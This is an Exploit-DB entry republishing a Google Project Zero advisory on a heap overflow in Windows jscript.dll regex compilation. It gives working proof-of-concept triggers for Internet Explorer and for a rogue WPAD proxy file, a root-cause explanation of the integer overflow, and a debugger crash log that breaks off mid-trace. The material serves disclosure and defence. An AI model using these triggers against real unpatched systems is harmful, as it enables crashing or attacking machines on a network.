Exploit-DB #43369
Description: Microsoft Windows - 'jscript!RegExpComp::Compile' Heap Overflow Through IE or Local Network via WPAD
Type: dos
Platform: windows
Date: 2017-12-19
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1369

There is a heap overflow in jscript.dll when compiling a regex. This issue could potentially be exploited through multiple vectors:

 - An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. This works because wpad.dat files are JavaScript files interpreted with jscript.dll on the WPAD client. Note that, in this case, an attacker who successfully exploited the vulnerability would gain the same privileges as the WinHTTP Web Proxy Auto-Discovery Service.

 - The issue can also be exploited by opening a malicious web page in Internet Explorer. In this case, due to the sizes involved, a 64-bit tab process would most likely be required to trigger the issue. This is going to be the case for example when running IE in the Enhanced Protected Mode.

The issue has been verified on 64-bit Win7 and 64-bit Win10 with the most recent patches applied.

PoC for Internet Explorer:

============================================
-->

<!-- saved from url=(0014)about:internet -->
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
</head>
<body>
<script language="Jscript.Encode">

var s = 'a';
for(var i=0;i<28;i++) {
  s = s+s;
}
s = s+'[a-z]'+s;

r = new RegExp();
r.compile(s);

</script>
</body>
</html>

<!--
============================================

PoC for WPAD:

============================================

function FindProxyForURL(url, host) {

  var s = 'a';
  for(var i=0;i<28;i++) {
    s = s+s;
  }
  s = s+'[a-z]'+s;

  r = new RegExp();
  r.compile(s);

  return "DIRECT";
}

===========================================

Technical details:

The issue is in RegExpComp::Compile (and several functions called from RegExpComp::Compile). RegExpComp::Compile is responsible for compiling a RegExp object. It maintains a buffer with the compilation result and extends it when necessary. Extending the buffer is handled using RegExpBase::EnsureSpace which looks (approximately) like:

void RegExpBase::EnsureSpace(int desired_size) {
  if(desired_size > buffer_size) {
    if(2 * desired_size < desired_size) {
      //throw an exception
    }
    int new_size = 2 * desired_size;
    char * new_buffer = realloc(buffer, new_size);
    if(!new_buffer) {
      //throw an exception     
    }
    buffer = new_buffer;
    buffer_size = new_size;
  }
}

Note that desired_size is a signed 32-bit integer. RegExpBase::EnsureSpace has an integer overflow check, however if an overflow happens in the caller (a caller must add the size which it wants to append to the existing content size) and desired_size becomes negative, RegExpBase::EnsureSpace would simply return because of the first if() statement without attempting to extend the buffer.

Indeed, integer overflows can happen in the several callers of RegExpBase::EnsureSpace. The one being triggered in the PoC is in RegExpComp::Compile, when it attempts to append the raw input string to the buffer towards the end of the compilation process.

Debug log (from IE, but it looks similar in the WPAD service):

============================================

(b90.698): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
msvcrt!memcpy+0x1d9:
000007fe`fefe123d 668901          mov     word ptr [rcx],ax ds:00000002`5bb60fe0=????

0:012> r
rax=[PII_REDACTED] rbx=[PII_REDACTED]2b7ea0 rcx=000000025bb60fe0
rdx=fffffffdfa4b0010 rsi=[PII_REDACTED]2b5f48 rdi=[PII_REDACTED]00000a
rip=000007fefefe123d rsp=[PII_REDACTED]399ef8 rbp=[PII_REDACTED]399f28
 r8=[PII_REDACTED]  r9=[PII_REDACTED] r10=[PII_REDACTED]
r11=000000021bb60fd8 r12=[PII_REDACTED]010fe8 r13=000007feebc91670
r14=[PII_REDACTED] r15=[PII_REDACTED]
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
msvcrt!memcpy+0x1d9:
000007fe`fefe123d 668901          mov     word ptr [rcx],ax ds:00000002`5bb60fe0=????

0:012> k
 # Child-SP          RetAddr           Call Site
00 00000000`12399ef8 000007fe`ebc88bb3 msvcrt!memcpy+0x1d9
01 00000000`12399f00 000007fe`ebcfacc2 jscript!RegExpComp::Compile+0x1b7
02 00000000`12399f60 000007fe`ebce2118 jscript!RegExpComp::CompileDynamic+0x62
03 00000000`12399fa0 000007fe`ebce3310 jscript!RegExpObj::Compile+0x32c
04 00000000`1239a0f0 000007fe`ebc7c2ec jscript!JsRegExpCompile+0x70
05 00000000`1239a140 000007fe`ebc7a9fe jscript!NatFncObj::Call+0x138
06 00000000`1239a1f0 000007fe`ebc7b234 jscript!NameTbl::InvokeInternal+0x3f8
07 00000000`1239a310 000007fe`ebc79852 jscript!VAR::InvokeByName+0x81c
08 00000000`1239a520 000007fe`ebc79929 jscript!VAR::InvokeDispName+0x72
09 00000000`1239a5a0 000007fe`ebc724b8 jscript!VAR::InvokeByDispID+0x1229
0a 00000000`1239a5f0 000007fe`ebc78ec2 jscript!CScriptRuntime::Run+0x5a6
0b 00000000`1239b3f0 000007fe`ebc78d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162
0c 00000000`1239b600 000007fe`ebc78b95 jscript!ScrFncObj::Call+0xb7
0d 00000000`1239b6a0 000007fe`ebc7e6c0 jscript!CSession::Execute+0x19e
0e 00000000`1239b770 000007fe`ebc870e7 jscript!COleScript::ExecutePendingScripts+0x17a
0f 00000000`1239b840 000007fe`ebc868d6 jscript!COleScript::ParseScriptTextCore+0x267
10 00000000`1239b930 000007fe`ecdf5251 jscript!COleScript::ParseScriptText+0x56
11 00000000`1239b990 000007fe`ed57b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1
12 00000000`1239ba10 000007fe`ecdf6256 MSHTML!CScriptCollection::ParseScriptText+0x37f
13 00000000`1239baf0 000007fe`ecdf5c8e MSHTML!CScriptData::CommitCode+0x3d9
14 00000000`1239bcc0 000007fe`ecdf5a11 MSHTML!CScriptData::Execute+0x283
15 00000000`1239bd80 000007fe`ed5b46fb MSHTML!CHtmScriptParseCtx::Execute+0x101
16 00000000`1239bdc0 000007fe`ece98a5b MSHTML!CHtmPa